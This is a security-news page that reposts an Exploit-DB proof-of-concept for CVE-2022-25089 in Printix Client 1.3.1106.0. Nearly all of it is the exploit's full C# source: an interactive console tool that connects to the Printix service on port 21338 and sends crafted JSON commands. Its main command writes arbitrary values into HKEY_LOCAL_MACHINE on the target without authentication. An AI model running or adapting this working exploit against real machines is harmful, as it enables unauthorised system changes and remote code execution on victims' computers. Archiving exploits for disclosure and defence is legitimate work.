Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-25089: Offensive Security’s Exploit Database Archive

Printix Secure Cloud Print Management through 1.3.1106.0 incorrectly uses Privileged APIs to modify values in HKEY_LOCAL_MACHINE via UITasks.PersistentRegistryData.

CVE
#vulnerability#mac#windows#microsoft#js#git#intel#rce#auth

Printix Client 1.3.1106.0 - Remote Code Execution (RCE)

# Exploit Title: Printix Client 1.3.1106.0 - Remote Code Execution (RCE)
# Date: 3/1/2022
# Exploit Author: Logan Latvala
# Vendor Homepage: https://printix.net
# Software Link: https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip
# Version: <= 1.3.1106.0
# Tested on: Windows 7, Windows 8, Windows 10, Windows 11
# CVE : CVE-2022-25089
# Github for project: https://github.com/ComparedArray/printix-CVE-2022-25089

using Microsoft.Win32;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

/**
 * ________________________________________
 * 
 * Printix Vulnerability, CVE-2022-25089
 * Part of a Printix Vulnerability series
 * Author: Logan Latvala
 * Github: https://github.com/ComparedArray/printix-CVE-2022-25089
 * ________________________________________
 * 
 */


namespace ConsoleApp1a
{

    public class PersistentRegistryData
    {
        public PersistentRegistryCmds cmd;

        public string path;

        public int VDIType;

        public byte[] registryData;
    }

    [JsonConverter(typeof(StringEnumConverter))]
    public enum PersistentRegistryCmds
    {
        StoreData = 1,
        DeleteSubTree,
        RestoreData
    }
    public class Session
    {
        public int commandNumber { get; set; }
        public string host { get; set; }
        public string data { get; set; }
        public string sessionName { get; set; }
        public Session(int commandSessionNumber = 0)
        {
            commandNumber = commandSessionNumber;
            switch (commandSessionNumber)
            {
                //Incase it's initiated, kill it immediately.
                case (0):
                    Environment.Exit(0x001);
                    break;

                //Incase the Ping request is sent though, get its needed data.
                case (2):
                    Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
                    Console.Write("IP: ");
                    host = Console.ReadLine();
                    Console.WriteLine("Host address set to: " + host);

                    data = "pingData";
                    sessionName = "PingerRinger";
                    break;

                //Incase the RegEdit request is sent though, get its needed data.
                case (49):
                    Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
                    Console.Write("IP: ");
                    host = Console.ReadLine();
                    Console.WriteLine("Host address set to: " + host);

                    PersistentRegistryData persistentRegistryData = new PersistentRegistryData();
                    persistentRegistryData.cmd = PersistentRegistryCmds.RestoreData;
                    persistentRegistryData.VDIType = 12; //(int)DefaultValues.VDIType;
                                                         //persistentRegistryData.path = "printix\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName";
                    Console.WriteLine("\n What Node starting from \\\\Local-Machine\\ would you like to select? \n");
                    Console.WriteLine("Example: HKEY_LOCAL_MACHINE\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName\n");
                    Console.WriteLine("You can only change values in HKEY_LOCAL_MACHINE");
                    Console.Write("Registry Node: ");
                    persistentRegistryData.path = "" + Console.ReadLine().Replace("HKEY_LOCAL_MACHINE","printix");
                    Console.WriteLine("Full Address Set To:  " + persistentRegistryData.path);

                    //persistentRegistryData.registryData = new byte[2];
                    //byte[] loader = selectDataType("Intel(R) Capability Licensing stuffidkreally", RegistryValueKind.String);

                    Console.WriteLine("\n What Data type are you using? \n1. String 2. Dword  3. Qword 4. Multi String  \n");
                    Console.Write("Type:  ");
                    int dataF = int.Parse(Console.ReadLine());
                    Console.WriteLine("Set Data to: " + dataF);

                    Console.WriteLine("\n What value is your type?  \n");
                    Console.Write("Value:  ");
                    string dataB = Console.ReadLine();
                    Console.WriteLine("Set Data to: " + dataF);

                    byte[] loader = null;
                    List<byte> byteContainer = new List<byte>();
                    //Dword = 4
                    //SET THIS NUMBER TO THE TYPE OF DATA YOU ARE USING! (CHECK ABOVE FUNCITON selectDataType()!)

                    switch (dataF)
                    {
                        case (1):

                            loader = selectDataType(dataB, RegistryValueKind.String);
                            byteContainer.Add(1);
                            break;
                        case (2):
                            loader = selectDataType(int.Parse(dataB), RegistryValueKind.DWord);
                            byteContainer.Add(4);
                            break;
                        case (3):
                            loader = selectDataType(long.Parse(dataB), RegistryValueKind.QWord);
                            byteContainer.Add(11);
                            break;
                        case (4):
                            loader = selectDataType(dataB.Split('%'), RegistryValueKind.MultiString);
                            byteContainer.Add(7);
                            break;

                    }

                    int pathHolder = 0;
                    foreach (byte bit in loader)
                    {
                        pathHolder++;
                        byteContainer.Add(bit);
                    }

                    persistentRegistryData.registryData = byteContainer.ToArray();
                    //added stuff:

                    //PersistentRegistryData data = new PersistentRegistryData();
                    //data.cmd = PersistentRegistryCmds.RestoreData;
                    //data.path = "";


                    //data.cmd 
                    Console.WriteLine(JsonConvert.SerializeObject(persistentRegistryData));
                    data = JsonConvert.SerializeObject(persistentRegistryData);

                    break;
                //Custom cases, such as custom JSON Inputs and more.
                case (100):
                    Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
                    Console.Write("IP: ");
                    host = Console.ReadLine();
                    Console.WriteLine("Host address set to: " + host);

                    Console.WriteLine("\n What Data Should Be Sent?\n");
                    Console.Write("Data: ");
                    data = Console.ReadLine();
                    Console.WriteLine("Data set to: " + data);

                    Console.WriteLine("\n What Session Name Should Be Used? \n");
                    Console.Write("Session Name: ");
                    sessionName = Console.ReadLine();
                    Console.WriteLine("Session name set to: " + sessionName);
                    break;
            }


        }
        public static byte[] selectDataType(object value, RegistryValueKind format)
        {
            byte[] array = new byte[50];

            switch (format)
            {
                case RegistryValueKind.String: //1
                    array = Encoding.UTF8.GetBytes((string)value);
                    break;
                case RegistryValueKind.DWord://4
                    array = ((!(value.GetType() == typeof(int))) ? BitConverter.GetBytes((long)value) : BitConverter.GetBytes((int)value));
                    break;
                case RegistryValueKind.QWord://11
                    if (value == null)
                    {
                        value = 0L;
                    }
                    array = BitConverter.GetBytes((long)value);
                    break;
                case RegistryValueKind.MultiString://7 
                    {
                        if (value == null)
                        {
                            value = new string[1] { string.Empty };
                        }
                        string[] array2 = (string[])value;
                        foreach (string s in array2)
                        {
                            byte[] bytes = Encoding.UTF8.GetBytes(s);
                            byte[] second = new byte[1] { (byte)bytes.Length };
                            array = array.Concat(second).Concat(bytes).ToArray();
                        }
                        break;
                    }
            }
            return array;
        }
    }
    class CVESUBMISSION
    {
        static void Main(string[] args)
        {
        FORCERESTART:
            try
            {

                //Edit any registry without auth: 
                //Use command 49, use the code provided on the desktop...
                //This modifies it directly, so no specific username is needed. :D

                //The command parameter, a list of commands is below.
                int command = 43;

                //To force the user to input variables or not.
                bool forceCustomInput = false;

                //The data to send, this isn't flexible and should be used only for specific examples.
                //Try to keep above 4 characters if you're just shoving things into the command.
                string data = "{\"profileID\":1,\"result\":true}";

                //The username to use.
                //This is to fulfill the requriements whilst in development mode.
                DefaultValues.CurrentSessName = "printixMDNs7914";

                //The host to connect to. DEFAULT= "localhost"
                string host = "192.168.1.29";

            //                              Configuration Above

            InvalidInputLabel:
                Console.Clear();
                Console.WriteLine("Please select the certificate you want to use with port 21338.");
                //Deprecated, certificates are no longer needed to verify, as clientside only uses the self-signed certificates now.
                Console.WriteLine("Already selected, client authentication isn't needed.");

                Console.WriteLine(" /───────────────────────────\\ ");
                Console.WriteLine("\nWhat would you like to do?");
                Console.WriteLine("\n   1. Send Ping Request");
                Console.WriteLine(" 2. Send Registry Edit Request");
                Console.WriteLine(" 3. Send Custom Request");
                Console.WriteLine(" 4. Experimental Mode (Beta)\n");
                Console.Write("I choose option # ");

                try
                {
                    switch (int.Parse(Console.ReadLine().ToLower()))
                    {
                        case (1):
                            Session session = new Session(2);

                            command = session.commandNumber;
                            host = session.host;
                            data = session.data;
                            DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);



                            break;
                        case (2):
                            Session sessionTwo = new Session(49);

                            command = sessionTwo.commandNumber;
                            host = sessionTwo.host;
                            data = sessionTwo.data;
                            DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);

                            break;
                        case (3):

                            Console.WriteLine("What command number do you want to input?");
                            command = int.Parse(Console.ReadLine().ToString());
                            Console.WriteLine("What IP would you like to use? (Default = localhost)");
                            host = Console.ReadLine();
                            Console.WriteLine("What data do you want to send? (Keep over 4 chars if you are not sure!)");
                            data = Console.ReadLine();

                            Console.WriteLine("What session name do you want to use? ");
                            DefaultValues.CurrentSessName = Console.ReadLine();
                            break;
                        case (4):
                            Console.WriteLine("Not yet implemented.");
                            break;
                    }
                }
                catch (Exception e)
                {
                    Console.WriteLine("Invalid Input!");
                    goto InvalidInputLabel;
                }
                
                Console.WriteLine("Proof Of Concept For CVE-2022-25089 | Version: 1.3.24 | Created by Logan Latvala");
                Console.WriteLine("This is a RAW API, in which you may get unintended results from usage.\n");

                CompCommClient client = new CompCommClient();


                byte[] responseStorage = new byte[25555];
                int responseCMD = 0;
                client.Connect(host, 21338, 3, 10000);

                client.SendMessage(command, Encoding.UTF8.GetBytes(data));
                // Theory: There is always a message being sent, yet it doesn't read it, or can't intercept it.
                // Check for output multiple times, and see if this is conclusive.



                //client.SendMessage(51, Encoding.ASCII.GetBytes(data));
                new Thread(() => {
                    //Thread.Sleep(4000);
                    if (client.Connected())
                    {
                        int cam = 0;
                        // 4 itterations of loops, may be lifted in the future.
                        while (cam < 5)
                        {

                            //Reads the datastream and keeps returning results.
                            //Thread.Sleep(100);
                            try
                            {
                                try
                                {
                                    if (responseStorage?.Any() == true)
                                    {
                                        //List<byte> byo1 =  responseStorage.ToList();
                                        if (!Encoding.UTF8.GetString(responseStorage).Contains("Caption"))
                                        {
                                            foreach (char cam2 in Encoding.UTF8.GetString(responseStorage))
                                            {
                                                if (!char.IsWhiteSpace(cam2) && char.IsLetterOrDigit(cam2) || char.IsPunctuation(cam2))
                                                {
                                                    Console.Write(cam2);
                                                }
                                            }
                                        }else
                                        {
                                            
                                        }
                                    }

                                }
                                catch (Exception e) { Debug.WriteLine(e); }
                                client.Read(out responseCMD, out responseStorage);

                            }
                            catch (Exception e)
                            {
                                goto ReadException;
                            }
                            Thread.Sleep(100);
                            cam++;
                            //Console.WriteLine(cam);
                        }

                    


                    }
                    else
                    {
                        Console.WriteLine("[WARNING]: Client is Disconnected!");
                    }
                ReadException:
                    try
                    {
                        Console.WriteLine("Command Variable Response: " + responseCMD);
                        Console.WriteLine(Encoding.UTF8.GetString(responseStorage) + " || " + responseCMD);
                        client.disConnect();
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine("After 4.2 Seconds, there has been no response!");
                        client.disConnect();
                    }
                }).Start();

                Console.WriteLine(responseCMD);
                Console.ReadLine();

            }

            catch (Exception e)
            {
                Console.WriteLine(e);
                Console.ReadLine();

                //Environment.Exit(e.HResult);
            }

            goto FORCERESTART;
        }
    }
}

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907